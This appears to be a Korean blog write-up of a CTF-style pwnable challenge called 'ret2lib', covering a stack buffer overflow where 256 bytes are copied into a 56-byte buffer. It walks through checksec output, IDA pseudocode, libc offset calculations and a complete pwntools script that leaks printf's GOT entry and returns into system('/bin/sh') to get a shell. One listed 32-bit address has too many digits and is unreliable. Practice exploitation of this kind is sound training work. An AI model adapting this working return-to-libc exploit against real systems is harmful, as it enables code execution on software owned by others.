checksec
ret2lib은 32bit 바이너리 파일, Partial RELRO 적용
NX enabled >> RTL 기법 사용
analyze
pseudo code (IDA)
See_something(v8); // v8 = strtol(&buf, v3, v4);
Print_message(&src); // read(0, &src, 0x100u); >> 문자열 src에 256byte(100)만큼 입력받음
인자로 전달받은 변수(*a1)의 주소를 출력 >> 원하는 변수의 주소를 알고 싶을 때 인자로 변수를 전달해 그 주소를 알아낼 수 있음
인자로 전달받은 src를 dest에 복사 >> 256byte만큼 입력받은 src를 dest에 복사
이 때, dest의 크기는 38= 56byte로 OVERFLOW 취약점 발생
disassemble
분석
main함수 시작지점, 문자열을 입력받아 저장하는 지점, See_something 함수 호출지점, Print_message 함수 호출지점에 breakpoint 설정
offset 구하기
system함수의 주소: 0xf7340d0da0
libc-2.23.so 라이브러리의 시작 주소: 0xf7e06000
printf 함수의 주소: 0xf7e4f670
라이브러리 내의 문자열 "/bin/sh"의 주소: 0xf7f61a0b
printf()함수와 system() 함수 사이의 offset: 0xe8d0
system()함수와 libc 시작주소의 offset: 0x3ada0
문자열 "/bin/sh"의 주소와 printf()함수 주소의 offset: 0x11239b
Exploit
Print_message 함수로 인자를 전달하면 문자열 dest에 56byte만 저장되니까 이를 고려해서 56 + SFP(4byte)로 dummy값 넣어줌
from pwn import *
#context.log_level = 'debug'
p=process("./ret2lib")
elf=ELF("./ret2lib")
libc = elf.libc
printf=elf.got['printf']
p.recvuntil("Give me an address (in dec) :")
p.sendline(str(printf))
print(str(printf))
p.recvuntil("The content of the address : ")
printfAddr = int(p.recvuntil('\n'),16)
libcbase = printfAddr - libc.symbols['printf']
print(str(libcbase))
sysAddr = libcbase + libc.symbols['__libc_system']
binsh = libcbase + libc.search("/bin/sh").next()
print hex(sysAddr)
print hex(binsh)
pl = "A"*60
pl+= p32(sysAddr)
pl+= "B"*4
pl+= p32(binsh)
p.recvuntil("Leave some message for me :")
p.sendline(pl)
p.interactive()
printf = elf.got['printf']: printf변수에 함수 printf()의 주소값이 담김 << PIE가 걸려있지 않기 때문에 가능
pl: dest(56) + SFP(4) + system()함수의 주소 + SFP(4) + "/bin/sh" 주소 << system()함수의 인자로 "/bin/sh"전달
'System > PWNABLE' 카테고리의 다른 글
shot (0) | 2020.06.01 |
---|---|
simpleRTL (0) | 2020.05.30 |
[TAMU 2019] pwn1 (0) | 2020.05.30 |
RTL_x64 (0) | 2020.05.25 |
[TAMU 2018] pwn4 (0) | 2020.05.24 |